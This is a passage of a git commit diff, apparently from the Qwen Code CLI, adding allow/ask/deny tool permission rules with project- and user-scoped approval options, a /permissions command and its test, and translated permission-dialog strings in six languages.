feat test tool permissions

This commit is contained in:
LaZzyMan 2026-03-10 16:30:22 +08:00
parent eeb4d85785
commit db0e373ad7
74 changed files with 4065 additions and 938 deletions

18
package-lock.json generated
View file

@ -17280,6 +17280,16 @@
"tslib": "2"
}
},
"node_modules/tree-sitter-wasms": {
"version": "0.1.13",
"resolved": "https://registry.npmjs.org/tree-sitter-wasms/-/tree-sitter-wasms-0.1.13.tgz",
"integrity": "sha512-wT+cR6DwaIz80/vho3AvSF0N4txuNx/5bcRKoXouOfClpxh/qqrF4URNLQXbbt8MaAxeksZcZd1j8gcGjc+QxQ==",
"dev": true,
"license": "Unlicense",
"dependencies": {
"tree-sitter-wasms": "^0.1.11"
}
},
"node_modules/ts-api-utils": {
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.4.0.tgz",
@ -18167,6 +18177,12 @@
"node": ">= 8"
}
},
"node_modules/web-tree-sitter": {
"version": "0.24.7",
"resolved": "https://registry.npmjs.org/web-tree-sitter/-/web-tree-sitter-0.24.7.tgz",
"integrity": "sha512-CdC/TqVFbXqR+C51v38hv6wOPatKEUGxa39scAeFSm98wIhZxAYonhRQPSMmfZ2w7JDI0zQDdzdmgtNk06/krQ==",
"license": "MIT"
},
"node_modules/webidl-conversions": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
@ -19486,6 +19502,7 @@
"tar": "^7.5.2",
"undici": "^6.22.0",
"uuid": "^9.0.1",
"web-tree-sitter": "^0.24.7",
"ws": "^8.18.0"
},
"devDependencies": {
@ -19499,6 +19516,7 @@
"@types/tar": "^6.1.13",
"@types/ws": "^8.5.10",
"msw": "^2.3.4",
"tree-sitter-wasms": "^0.1.13",
"typescript": "^5.3.3",
"vitest": "^3.1.1"
},

View file

@ -511,14 +511,17 @@ export class Session implements SessionContext {
);
}
const confirmationDetails =
// Use the new permission flow: getDefaultPermission + getConfirmationDetails
const defaultPermission =
this.config.getApprovalMode() !== ApprovalMode.YOLO
? await invocation.shouldConfirmExecute(abortSignal)
: false;
? await invocation.getDefaultPermission()
: 'allow';
const needsConfirmation = defaultPermission === 'ask';
// Check for plan mode enforcement - block non-read-only tools
const isPlanMode = this.config.getApprovalMode() === ApprovalMode.PLAN;
if (isPlanMode && !isExitPlanModeTool && confirmationDetails) {
if (isPlanMode && !isExitPlanModeTool && needsConfirmation) {
// In plan mode, block any tool that requires confirmation (write operations)
return errorResponse(
new Error(
@ -528,7 +531,17 @@ export class Session implements SessionContext {
);
}
if (confirmationDetails) {
if (defaultPermission === 'deny') {
return errorResponse(
new Error(
`Tool "${fc.name}" is denied: command substitution is not allowed for security reasons.`,
),
);
}
if (needsConfirmation) {
const confirmationDetails =
await invocation.getConfirmationDetails(abortSignal);
const content: acp.ToolCallContent[] = [];
if (confirmationDetails.type === 'edit') {
@ -589,6 +602,8 @@ export class Session implements SessionContext {
);
case ToolConfirmationOutcome.ProceedOnce:
case ToolConfirmationOutcome.ProceedAlways:
case ToolConfirmationOutcome.ProceedAlwaysProject:
case ToolConfirmationOutcome.ProceedAlwaysUser:
case ToolConfirmationOutcome.ProceedAlwaysServer:
case ToolConfirmationOutcome.ProceedAlwaysTool:
case ToolConfirmationOutcome.ModifyWithEditor:
@ -980,8 +995,13 @@ function toPermissionOptions(
case 'exec':
return [
{
optionId: ToolConfirmationOutcome.ProceedAlways,
name: `Always Allow ${confirmation.rootCommand}`,
optionId: ToolConfirmationOutcome.ProceedAlwaysProject,
name: `Always Allow in project: ${confirmation.rootCommand}`,
kind: 'allow_always',
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysUser,
name: `Always Allow for user: ${confirmation.rootCommand}`,
kind: 'allow_always',
},
...basicPermissionOptions,
@ -989,13 +1009,13 @@ function toPermissionOptions(
case 'mcp':
return [
{
optionId: ToolConfirmationOutcome.ProceedAlwaysServer,
name: `Always Allow ${confirmation.serverName}`,
optionId: ToolConfirmationOutcome.ProceedAlwaysProject,
name: `Always Allow in project: ${confirmation.toolName}`,
kind: 'allow_always',
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysTool,
name: `Always Allow ${confirmation.toolName}`,
optionId: ToolConfirmationOutcome.ProceedAlwaysUser,
name: `Always Allow for user: ${confirmation.toolName}`,
kind: 'allow_always',
},
...basicPermissionOptions,
@ -1003,8 +1023,13 @@ function toPermissionOptions(
case 'info':
return [
{
optionId: ToolConfirmationOutcome.ProceedAlways,
name: `Always Allow`,
optionId: ToolConfirmationOutcome.ProceedAlwaysProject,
name: `Always Allow in project`,
kind: 'allow_always',
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysUser,
name: `Always Allow for user`,
kind: 'allow_always',
},
...basicPermissionOptions,

View file

@ -325,6 +325,8 @@ export class SubAgentTracker {
private toPermissionOptions(
confirmation: ToolCallConfirmationDetails,
): acp.PermissionOption[] {
const hideAlwaysAllow =
'hideAlwaysAllow' in confirmation && confirmation.hideAlwaysAllow;
switch (confirmation.type) {
case 'edit':
return [
@ -337,34 +339,56 @@ export class SubAgentTracker {
];
case 'exec':
return [
{
optionId: ToolConfirmationOutcome.ProceedAlways,
name: `Always Allow ${(confirmation as { rootCommand?: string }).rootCommand ?? 'command'}`,
kind: 'allow_always',
},
...(hideAlwaysAllow
? []
: [
{
optionId: ToolConfirmationOutcome.ProceedAlwaysProject,
name: `Always Allow in project: ${(confirmation as { rootCommand?: string }).rootCommand ?? 'command'}`,
kind: 'allow_always' as const,
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysUser,
name: `Always Allow for user: ${(confirmation as { rootCommand?: string }).rootCommand ?? 'command'}`,
kind: 'allow_always' as const,
},
]),
...basicPermissionOptions,
];
case 'mcp':
return [
{
optionId: ToolConfirmationOutcome.ProceedAlwaysServer,
name: `Always Allow ${(confirmation as { serverName?: string }).serverName ?? 'server'}`,
kind: 'allow_always',
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysTool,
name: `Always Allow ${(confirmation as { toolName?: string }).toolName ?? 'tool'}`,
kind: 'allow_always',
},
...(hideAlwaysAllow
? []
: [
{
optionId: ToolConfirmationOutcome.ProceedAlwaysProject,
name: `Always Allow in project: ${(confirmation as { toolName?: string }).toolName ?? 'tool'}`,
kind: 'allow_always' as const,
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysUser,
name: `Always Allow for user: ${(confirmation as { toolName?: string }).toolName ?? 'tool'}`,
kind: 'allow_always' as const,
},
]),
...basicPermissionOptions,
];
case 'info':
return [
{
optionId: ToolConfirmationOutcome.ProceedAlways,
name: 'Always Allow',
kind: 'allow_always',
},
...(hideAlwaysAllow
? []
: [
{
optionId: ToolConfirmationOutcome.ProceedAlwaysProject,
name: 'Always Allow in project',
kind: 'allow_always' as const,
},
{
optionId: ToolConfirmationOutcome.ProceedAlwaysUser,
name: 'Always Allow for user',
kind: 'allow_always' as const,
},
]),
...basicPermissionOptions,
];
case 'plan':

View file

@ -32,7 +32,8 @@ import {
NativeLspService,
} from '@qwen-code/qwen-code-core';
import { extensionsCommand } from '../commands/extensions.js';
import type { Settings } from './settings.js';
import type { Settings , LoadedSettings } from './settings.js';
import { SettingScope } from './settings.js';
import {
resolveCliGenerationConfig,
getAuthTypeFromEnv,
@ -672,6 +673,7 @@ export async function loadCliConfig(
argv: CliArgs,
cwd: string = process.cwd(),
overrideExtensions?: string[],
loadedSettings?: LoadedSettings,
): Promise<Config> {
const debugMode = isDebugMode(argv);
@ -982,6 +984,21 @@ export async function loadCliConfig(
ask: mergedAsk.length > 0 ? mergedAsk : undefined,
deny: mergedDeny.length > 0 ? mergedDeny : undefined,
},
// Permission rule persistence callback (writes to settings files).
onPersistPermissionRule: loadedSettings
? async (scope, ruleType, rule) => {
const settingScope =
scope === 'project' ? SettingScope.Workspace : SettingScope.User;
const key = `permissions.${ruleType}`;
const currentRules: string[] =
loadedSettings.forScope(settingScope).settings.permissions?.[
ruleType
] ?? [];
if (!currentRules.includes(rule)) {
loadedSettings.setValue(settingScope, key, [...currentRules, rule]);
}
}
: undefined,
toolDiscoveryCommand: settings.tools?.discoveryCommand,
toolCallCommand: settings.tools?.callCommand,
mcpServerCommand: settings.mcp?.serverCommand,

View file

@ -348,6 +348,7 @@ export async function main() {
argv,
process.cwd(),
argv.extensions,
settings,
);
// Register cleanup for MCP clients as early as possible

View file

@ -895,6 +895,8 @@ export default {
"Allow execution of: '{{command}}'?":
"Ausführung erlauben von: '{{command}}'?",
'Yes, allow always ...': 'Ja, immer erlauben ...',
'Always allow in this project': 'In diesem Projekt immer erlauben',
'Always allow for this user': 'Für diesen Benutzer immer erlauben',
'Yes, and auto-accept edits': 'Ja, und Änderungen automatisch akzeptieren',
'Yes, and manually approve edits': 'Ja, und Änderungen manuell genehmigen',
'No, keep planning (esc)': 'Nein, weiter planen (Esc)',
@ -1063,6 +1065,53 @@ export default {
// Dialogs - Permissions
// ============================================================================
'Manage folder trust settings': 'Ordnervertrauenseinstellungen verwalten',
'Manage permission rules': 'Berechtigungsregeln verwalten',
Allow: 'Erlauben',
Ask: 'Fragen',
Deny: 'Verweigern',
Workspace: 'Arbeitsbereich',
"Qwen Code won't ask before using allowed tools.":
'Qwen Code fragt nicht, bevor erlaubte Tools verwendet werden.',
'Qwen Code will ask before using these tools.':
'Qwen Code fragt, bevor diese Tools verwendet werden.',
'Qwen Code is not allowed to use denied tools.':
'Qwen Code darf verweigerte Tools nicht verwenden.',
'Manage trusted directories for this workspace.':
'Vertrauenswürdige Verzeichnisse für diesen Arbeitsbereich verwalten.',
'Any use of the {{tool}} tool': 'Jede Verwendung des {{tool}}-Tools',
"{{tool}} commands matching '{{pattern}}'":
"{{tool}}-Befehle, die '{{pattern}}' entsprechen",
'From user settings': 'Aus Benutzereinstellungen',
'From project settings': 'Aus Projekteinstellungen',
'From session': 'Aus Sitzung',
'Project settings (local)': 'Projekteinstellungen (lokal)',
'Saved in .qwen/settings.local.json':
'Gespeichert in .qwen/settings.local.json',
'Project settings': 'Projekteinstellungen',
'Checked in at .qwen/settings.json': 'Eingecheckt in .qwen/settings.json',
'User settings': 'Benutzereinstellungen',
'Saved in at ~/.qwen/settings.json': 'Gespeichert in ~/.qwen/settings.json',
'Add a new rule…': 'Neue Regel hinzufügen…',
'Add {{type}} permission rule': '{{type}}-Berechtigungsregel hinzufügen',
'Permission rules are a tool name, optionally followed by a specifier in parentheses.':
'Berechtigungsregeln sind ein Toolname, optional gefolgt von einem Bezeichner in Klammern.',
'e.g.,': 'z.B.',
or: 'oder',
'Enter permission rule…': 'Berechtigungsregel eingeben…',
'Enter to submit · Esc to cancel': 'Enter zum Absenden · Esc zum Abbrechen',
'Where should this rule be saved?': 'Wo soll diese Regel gespeichert werden?',
'Enter to confirm · Esc to cancel':
'Enter zum Bestätigen · Esc zum Abbrechen',
'Delete {{type}} rule?': '{{type}}-Regel löschen?',
'Are you sure you want to delete this permission rule?':
'Sind Sie sicher, dass Sie diese Berechtigungsregel löschen möchten?',
'Permissions:': 'Berechtigungen:',
'(←/→ or tab to cycle)': '(←/→ oder Tab zum Wechseln)',
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel':
'↑↓ navigieren · Enter auswählen · Tippen suchen · Esc abbrechen',
'Search…': 'Suche…',
'Use /trust to manage folder trust settings for this workspace.':
'Verwenden Sie /trust, um die Ordnervertrauenseinstellungen für diesen Arbeitsbereich zu verwalten.',
// ============================================================================
// Status Bar

View file

@ -886,6 +886,8 @@ export default {
'No, suggest changes (esc)': 'No, suggest changes (esc)',
"Allow execution of: '{{command}}'?": "Allow execution of: '{{command}}'?",
'Yes, allow always ...': 'Yes, allow always ...',
'Always allow in this project': 'Always allow in this project',
'Always allow for this user': 'Always allow for this user',
'Yes, and auto-accept edits': 'Yes, and auto-accept edits',
'Yes, and manually approve edits': 'Yes, and manually approve edits',
'No, keep planning (esc)': 'No, keep planning (esc)',
@ -1050,6 +1052,51 @@ export default {
// Dialogs - Permissions
// ============================================================================
'Manage folder trust settings': 'Manage folder trust settings',
'Manage permission rules': 'Manage permission rules',
Allow: 'Allow',
Ask: 'Ask',
Deny: 'Deny',
Workspace: 'Workspace',
"Qwen Code won't ask before using allowed tools.":
"Qwen Code won't ask before using allowed tools.",
'Qwen Code will ask before using these tools.':
'Qwen Code will ask before using these tools.',
'Qwen Code is not allowed to use denied tools.':
'Qwen Code is not allowed to use denied tools.',
'Manage trusted directories for this workspace.':
'Manage trusted directories for this workspace.',
'Any use of the {{tool}} tool': 'Any use of the {{tool}} tool',
"{{tool}} commands matching '{{pattern}}'":
"{{tool}} commands matching '{{pattern}}'",
'From user settings': 'From user settings',
'From project settings': 'From project settings',
'From session': 'From session',
'Project settings (local)': 'Project settings (local)',
'Saved in .qwen/settings.local.json': 'Saved in .qwen/settings.local.json',
'Project settings': 'Project settings',
'Checked in at .qwen/settings.json': 'Checked in at .qwen/settings.json',
'User settings': 'User settings',
'Saved in at ~/.qwen/settings.json': 'Saved in at ~/.qwen/settings.json',
'Add a new rule…': 'Add a new rule…',
'Add {{type}} permission rule': 'Add {{type}} permission rule',
'Permission rules are a tool name, optionally followed by a specifier in parentheses.':
'Permission rules are a tool name, optionally followed by a specifier in parentheses.',
'e.g.,': 'e.g.,',
or: 'or',
'Enter permission rule…': 'Enter permission rule…',
'Enter to submit · Esc to cancel': 'Enter to submit · Esc to cancel',
'Where should this rule be saved?': 'Where should this rule be saved?',
'Enter to confirm · Esc to cancel': 'Enter to confirm · Esc to cancel',
'Delete {{type}} rule?': 'Delete {{type}} rule?',
'Are you sure you want to delete this permission rule?':
'Are you sure you want to delete this permission rule?',
'Permissions:': 'Permissions:',
'(←/→ or tab to cycle)': '(←/→ or tab to cycle)',
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel':
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel',
'Search…': 'Search…',
'Use /trust to manage folder trust settings for this workspace.':
'Use /trust to manage folder trust settings for this workspace.',
// ============================================================================
// Status Bar

View file

@ -634,6 +634,8 @@ export default {
'No, suggest changes (esc)': 'いいえ、変更を提案 (Esc)',
"Allow execution of: '{{command}}'?": "'{{command}}' の実行を許可しますか?",
'Yes, allow always ...': 'はい、常に許可...',
'Always allow in this project': 'このプロジェクトで常に許可',
'Always allow for this user': 'このユーザーに常に許可',
'Yes, and auto-accept edits': 'はい、編集を自動承認',
'Yes, and manually approve edits': 'はい、編集を手動承認',
'No, keep planning (esc)': 'いいえ、計画を続ける (Esc)',
@ -754,6 +756,51 @@ export default {
'Alibaba Cloud ModelStudioの最新Qwen Visionモデル(バージョン: qwen3-vl-plus-2025-09-23)',
// Dialogs - Permissions
'Manage folder trust settings': 'フォルダ信頼設定を管理',
'Manage permission rules': '権限ルールを管理',
Allow: '許可',
Ask: '確認',
Deny: '拒否',
Workspace: 'ワークスペース',
"Qwen Code won't ask before using allowed tools.":
'Qwen Code は許可されたツールを使用する前に確認しません。',
'Qwen Code will ask before using these tools.':
'Qwen Code はこれらのツールを使用する前に確認します。',
'Qwen Code is not allowed to use denied tools.':
'Qwen Code は拒否されたツールを使用できません。',
'Manage trusted directories for this workspace.':
'このワークスペースの信頼済みディレクトリを管理します。',
'Any use of the {{tool}} tool': '{{tool}} ツールのすべての使用',
"{{tool}} commands matching '{{pattern}}'":
"'{{pattern}}' に一致する {{tool}} コマンド",
'From user settings': 'ユーザー設定から',
'From project settings': 'プロジェクト設定から',
'From session': 'セッションから',
'Project settings (local)': 'プロジェクト設定(ローカル)',
'Saved in .qwen/settings.local.json': '.qwen/settings.local.json に保存',
'Project settings': 'プロジェクト設定',
'Checked in at .qwen/settings.json': '.qwen/settings.json にチェックイン',
'User settings': 'ユーザー設定',
'Saved in at ~/.qwen/settings.json': '~/.qwen/settings.json に保存',
'Add a new rule…': '新しいルールを追加…',
'Add {{type}} permission rule': '{{type}}権限ルールを追加',
'Permission rules are a tool name, optionally followed by a specifier in parentheses.':
'権限ルールはツール名で、オプションで括弧内に指定子を付けます。',
'e.g.,': '例:',
or: 'または',
'Enter permission rule…': '権限ルールを入力…',
'Enter to submit · Esc to cancel': 'Enter で送信 · Esc でキャンセル',
'Where should this rule be saved?': 'このルールをどこに保存しますか?',
'Enter to confirm · Esc to cancel': 'Enter で確認 · Esc でキャンセル',
'Delete {{type}} rule?': '{{type}}ルールを削除しますか?',
'Are you sure you want to delete this permission rule?':
'この権限ルールを削除してもよろしいですか?',
'Permissions:': '権限:',
'(←/→ or tab to cycle)': '(←/→ または Tab で切替)',
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel':
'↑↓ でナビゲート · Enter で選択 · 入力で検索 · Esc でキャンセル',
'Search…': '検索…',
'Use /trust to manage folder trust settings for this workspace.':
'/trust を使用してこのワークスペースのフォルダ信頼設定を管理します。',
// Status Bar
'Using:': '使用中:',
'{{count}} open file': '{{count}} 個のファイルを開いています',

View file

@ -901,6 +901,8 @@ export default {
"Allow execution of: '{{command}}'?":
"Permitir a execução de: '{{command}}'?",
'Yes, allow always ...': 'Sim, permitir sempre ...',
'Always allow in this project': 'Sempre permitir neste projeto',
'Always allow for this user': 'Sempre permitir para este usuário',
'Yes, and auto-accept edits': 'Sim, e aceitar edições automaticamente',
'Yes, and manually approve edits': 'Sim, e aprovar edições manualmente',
'No, keep planning (esc)': 'Não, continuar planejando (esc)',
@ -1067,6 +1069,52 @@ export default {
// ============================================================================
'Manage folder trust settings':
'Gerenciar configurações de confiança de pasta',
'Manage permission rules': 'Gerenciar regras de permissão',
Allow: 'Permitir',
Ask: 'Perguntar',
Deny: 'Negar',
Workspace: 'Área de trabalho',
"Qwen Code won't ask before using allowed tools.":
'O Qwen Code não perguntará antes de usar ferramentas permitidas.',
'Qwen Code will ask before using these tools.':
'O Qwen Code perguntará antes de usar essas ferramentas.',
'Qwen Code is not allowed to use denied tools.':
'O Qwen Code não tem permissão para usar ferramentas negadas.',
'Manage trusted directories for this workspace.':
'Gerenciar diretórios confiáveis para esta área de trabalho.',
'Any use of the {{tool}} tool': 'Qualquer uso da ferramenta {{tool}}',
"{{tool}} commands matching '{{pattern}}'":
"Comandos {{tool}} correspondentes a '{{pattern}}'",
'From user settings': 'Das configurações do usuário',
'From project settings': 'Das configurações do projeto',
'From session': 'Da sessão',
'Project settings (local)': 'Configurações do projeto (local)',
'Saved in .qwen/settings.local.json': 'Salvo em .qwen/settings.local.json',
'Project settings': 'Configurações do projeto',
'Checked in at .qwen/settings.json': 'Registrado em .qwen/settings.json',
'User settings': 'Configurações do usuário',
'Saved in at ~/.qwen/settings.json': 'Salvo em ~/.qwen/settings.json',
'Add a new rule…': 'Adicionar nova regra…',
'Add {{type}} permission rule': 'Adicionar regra de permissão {{type}}',
'Permission rules are a tool name, optionally followed by a specifier in parentheses.':
'Regras de permissão são um nome de ferramenta, opcionalmente seguido por um especificador entre parênteses.',
'e.g.,': 'ex.',
or: 'ou',
'Enter permission rule…': 'Insira a regra de permissão…',
'Enter to submit · Esc to cancel': 'Enter para enviar · Esc para cancelar',
'Where should this rule be saved?': 'Onde esta regra deve ser salva?',
'Enter to confirm · Esc to cancel':
'Enter para confirmar · Esc para cancelar',
'Delete {{type}} rule?': 'Excluir regra {{type}}?',
'Are you sure you want to delete this permission rule?':
'Tem certeza de que deseja excluir esta regra de permissão?',
'Permissions:': 'Permissões:',
'(←/→ or tab to cycle)': '(←/→ ou Tab para alternar)',
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel':
'↑↓ para navegar · Enter para selecionar · Digite para pesquisar · Esc para cancelar',
'Search…': 'Pesquisar…',
'Use /trust to manage folder trust settings for this workspace.':
'Use /trust para gerenciar as configurações de confiança de pasta desta área de trabalho.',
// ============================================================================
// Status Bar

View file

@ -901,6 +901,8 @@ export default {
'No, suggest changes (esc)': 'Нет, предложить изменения (esc)',
"Allow execution of: '{{command}}'?": "Разрешить выполнение: '{{command}}'?",
'Yes, allow always ...': 'Да, всегда разрешать ...',
'Always allow in this project': 'Всегда разрешать в этом проекте',
'Always allow for this user': 'Всегда разрешать для этого пользователя',
'Yes, and auto-accept edits': 'Да, и автоматически принимать правки',
'Yes, and manually approve edits': 'Да, и вручную подтверждать правки',
'No, keep planning (esc)': 'Нет, продолжить планирование (esc)',
@ -1065,6 +1067,52 @@ export default {
// Диалоги - Разрешения
// ============================================================================
'Manage folder trust settings': 'Управление настройками доверия к папкам',
'Manage permission rules': 'Управление правилами разрешений',
Allow: 'Разрешить',
Ask: 'Спросить',
Deny: 'Запретить',
Workspace: 'Рабочая область',
"Qwen Code won't ask before using allowed tools.":
'Qwen Code не будет спрашивать перед использованием разрешённых инструментов.',
'Qwen Code will ask before using these tools.':
'Qwen Code спросит перед использованием этих инструментов.',
'Qwen Code is not allowed to use denied tools.':
'Qwen Code не может использовать запрещённые инструменты.',
'Manage trusted directories for this workspace.':
'Управление доверенными каталогами для этой рабочей области.',
'Any use of the {{tool}} tool': 'Любое использование инструмента {{tool}}',
"{{tool}} commands matching '{{pattern}}'":
"Команды {{tool}}, соответствующие '{{pattern}}'",
'From user settings': 'Из пользовательских настроек',
'From project settings': 'Из настроек проекта',
'From session': 'Из сессии',
'Project settings (local)': 'Настройки проекта (локальные)',
'Saved in .qwen/settings.local.json': 'Сохранено в .qwen/settings.local.json',
'Project settings': 'Настройки проекта',
'Checked in at .qwen/settings.json': 'Зафиксировано в .qwen/settings.json',
'User settings': 'Пользовательские настройки',
'Saved in at ~/.qwen/settings.json': 'Сохранено в ~/.qwen/settings.json',
'Add a new rule…': 'Добавить новое правило…',
'Add {{type}} permission rule': 'Добавить правило разрешения {{type}}',
'Permission rules are a tool name, optionally followed by a specifier in parentheses.':
'Правила разрешений — это имя инструмента, за которым может следовать спецификатор в скобках.',
'e.g.,': 'напр.',
or: 'или',
'Enter permission rule…': 'Введите правило разрешения…',
'Enter to submit · Esc to cancel': 'Enter для отправки · Esc для отмены',
'Where should this rule be saved?': 'Где сохранить это правило?',
'Enter to confirm · Esc to cancel':
'Enter для подтверждения · Esc для отмены',
'Delete {{type}} rule?': 'Удалить правило {{type}}?',
'Are you sure you want to delete this permission rule?':
'Вы уверены, что хотите удалить это правило разрешения?',
'Permissions:': 'Разрешения:',
'(←/→ or tab to cycle)': '(←/→ или Tab для переключения)',
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel':
'↑↓ навигация · Enter выбор · Ввод для поиска · Esc отмена',
'Search…': 'Поиск…',
'Use /trust to manage folder trust settings for this workspace.':
'Используйте /trust для управления настройками доверия к папкам этой рабочей области.',
// ============================================================================
// Строка состояния

View file

@ -836,6 +836,8 @@ export default {
'No, suggest changes (esc)': '否,建议更改 (esc)',
"Allow execution of: '{{command}}'?": "允许执行:'{{command}}'",
'Yes, allow always ...': '是,总是允许 ...',
'Always allow in this project': '在本项目中总是允许',
'Always allow for this user': '对该用户总是允许',
'Yes, and auto-accept edits': '是,并自动接受编辑',
'Yes, and manually approve edits': '是,并手动批准编辑',
'No, keep planning (esc)': '否,继续规划 (esc)',
@ -989,6 +991,51 @@ export default {
// Dialogs - Permissions
// ============================================================================
'Manage folder trust settings': '管理文件夹信任设置',
'Manage permission rules': '管理权限规则',
Allow: '允许',
Ask: '询问',
Deny: '拒绝',
Workspace: '工作区',
"Qwen Code won't ask before using allowed tools.":
'Qwen Code 使用已允许的工具前不会询问。',
'Qwen Code will ask before using these tools.':
'Qwen Code 使用这些工具前会先询问。',
'Qwen Code is not allowed to use denied tools.':
'Qwen Code 不允许使用被拒绝的工具。',
'Manage trusted directories for this workspace.':
'管理此工作区的受信任目录。',
'Any use of the {{tool}} tool': '{{tool}} 工具的任何使用',
"{{tool}} commands matching '{{pattern}}'":
"匹配 '{{pattern}}' 的 {{tool}} 命令",
'From user settings': '来自用户设置',
'From project settings': '来自项目设置',
'From session': '来自会话',
'Project settings (local)': '项目设置(本地)',
'Saved in .qwen/settings.local.json': '保存在 .qwen/settings.local.json',
'Project settings': '项目设置',
'Checked in at .qwen/settings.json': '保存在 .qwen/settings.json',
'User settings': '用户设置',
'Saved in at ~/.qwen/settings.json': '保存在 ~/.qwen/settings.json',
'Add a new rule…': '添加新规则…',
'Add {{type}} permission rule': '添加{{type}}权限规则',
'Permission rules are a tool name, optionally followed by a specifier in parentheses.':
'权限规则是一个工具名称,可选地后跟括号中的限定符。',
'e.g.,': '例如',
or: '或',
'Enter permission rule…': '输入权限规则…',
'Enter to submit · Esc to cancel': '回车提交 · Esc 取消',
'Where should this rule be saved?': '此规则应保存在哪里?',
'Enter to confirm · Esc to cancel': '回车确认 · Esc 取消',
'Delete {{type}} rule?': '删除{{type}}规则?',
'Are you sure you want to delete this permission rule?':
'确定要删除此权限规则吗?',
'Permissions:': '权限:',
'(←/→ or tab to cycle)': '(←/→ 或 tab 切换)',
'Press ↑↓ to navigate · Enter to select · Type to search · Esc to cancel':
'按 ↑↓ 导航 · 回车选择 · 输入搜索 · Esc 取消',
'Search…': '搜索…',
'Use /trust to manage folder trust settings for this workspace.':
'使用 /trust 管理此工作区的文件夹信任设置。',
// ============================================================================
// Status Bar

View file

@ -47,6 +47,16 @@ vi.mock('../ui/commands/trustCommand.js', async () => {
},
};
});
vi.mock('../ui/commands/permissionsCommand.js', async () => {
const { CommandKind } = await import('../ui/commands/types.js');
return {
permissionsCommand: {
name: 'permissions',
description: 'Manage permission rules',
kind: CommandKind.BUILT_IN,
},
};
});
import { describe, it, expect, vi, beforeEach, type Mock } from 'vitest';
import { BuiltinCommandLoader } from './BuiltinCommandLoader.js';

View file

@ -27,6 +27,7 @@ import { languageCommand } from '../ui/commands/languageCommand.js';
import { mcpCommand } from '../ui/commands/mcpCommand.js';
import { memoryCommand } from '../ui/commands/memoryCommand.js';
import { modelCommand } from '../ui/commands/modelCommand.js';
import { permissionsCommand } from '../ui/commands/permissionsCommand.js';
import { trustCommand } from '../ui/commands/trustCommand.js';
import { quitCommand } from '../ui/commands/quitCommand.js';
import { restoreCommand } from '../ui/commands/restoreCommand.js';
@ -78,6 +79,7 @@ export class BuiltinCommandLoader implements ICommandLoader {
mcpCommand,
memoryCommand,
modelCommand,
permissionsCommand,
...(this.config?.getFolderTrust() ? [trustCommand] : []),
quitCommand,
restoreCommand(this.config),

View file

@ -238,6 +238,16 @@ export const AppContainer = (props: AppContainerProps) => {
const openTrustDialog = useCallback(() => setTrustDialogOpen(true), []);
const closeTrustDialog = useCallback(() => setTrustDialogOpen(false), []);
const [isPermissionsDialogOpen, setPermissionsDialogOpen] = useState(false);
const openPermissionsDialog = useCallback(
() => setPermissionsDialogOpen(true),
[],
);
const closePermissionsDialog = useCallback(
() => setPermissionsDialogOpen(false),
[],
);
// Helper to determine the current model (polled, since Config has no model-change event).
const getCurrentModel = useCallback(() => config.getModel(), [config]);
@ -496,6 +506,7 @@ export const AppContainer = (props: AppContainerProps) => {
openSettingsDialog,
openModelDialog,
openTrustDialog,
openPermissionsDialog,
openApprovalModeDialog,
quit: (messages: HistoryItem[]) => {
setQuittingMessages(messages);
@ -520,6 +531,7 @@ export const AppContainer = (props: AppContainerProps) => {
setDebugMessage,
dispatchExtensionStateUpdate,
openTrustDialog,
openPermissionsDialog,
openApprovalModeDialog,
addConfirmUpdateExtensionRequest,
openSubagentCreateDialog,
@ -1287,6 +1299,7 @@ export const AppContainer = (props: AppContainerProps) => {
isSettingsDialogOpen ||
isModelDialogOpen ||
isTrustDialogOpen ||
isPermissionsDialogOpen ||
isAuthDialogOpen ||
isAuthenticating ||
isEditorDialogOpen ||
@ -1335,6 +1348,7 @@ export const AppContainer = (props: AppContainerProps) => {
isSettingsDialogOpen,
isModelDialogOpen,
isTrustDialogOpen,
isPermissionsDialogOpen,
isApprovalModeDialogOpen,
isResumeDialogOpen,
slashCommands,
@ -1424,6 +1438,7 @@ export const AppContainer = (props: AppContainerProps) => {
isSettingsDialogOpen,
isModelDialogOpen,
isTrustDialogOpen,
isPermissionsDialogOpen,
isApprovalModeDialogOpen,
isResumeDialogOpen,
slashCommands,
@ -1517,6 +1532,7 @@ export const AppContainer = (props: AppContainerProps) => {
closeModelDialog,
dismissCodingPlanUpdate,
closeTrustDialog,
closePermissionsDialog,
setShellModeActive,
vimHandleInput,
handleIdePromptComplete,
@ -1562,6 +1578,7 @@ export const AppContainer = (props: AppContainerProps) => {
closeModelDialog,
dismissCodingPlanUpdate,
closeTrustDialog,
closePermissionsDialog,
setShellModeActive,
vimHandleInput,
handleIdePromptComplete,

View file

@ -0,0 +1,35 @@
/**
* @license
* Copyright 2025 Google LLC
* SPDX-License-Identifier: Apache-2.0
*/
import { describe, it, expect, beforeEach } from 'vitest';
import { permissionsCommand } from './permissionsCommand.js';
import { type CommandContext, CommandKind } from './types.js';
import { createMockCommandContext } from '../../test-utils/mockCommandContext.js';
describe('permissionsCommand', () => {
let mockContext: CommandContext;
beforeEach(() => {
mockContext = createMockCommandContext();
});
it('should have the correct name and description', () => {
expect(permissionsCommand.name).toBe('permissions');
expect(permissionsCommand.description).toBe('Manage permission rules');
});
it('should be a built-in command', () => {
expect(permissionsCommand.kind).toBe(CommandKind.BUILT_IN);
});
it('should return an action to open the permissions dialog', () => {
const actionResult = permissionsCommand.action?.(mockContext, '');
expect(actionResult).toEqual({
type: 'dialog',
dialog: 'permissions',
});
});
});

View file

@ -0,0 +1,21 @@
/**
* @license
* Copyright 2025 Google LLC
* SPDX-License-Identifier: Apache-2.0
*/
import type { OpenDialogActionReturn, SlashCommand } from './types.js';
import { CommandKind } from './types.js';
import { t } from '../../i18n/index.js';
export const permissionsCommand: SlashCommand = {
name: 'permissions',
get description() {
return t('Manage permission rules');
},
kind: CommandKind.BUILT_IN,
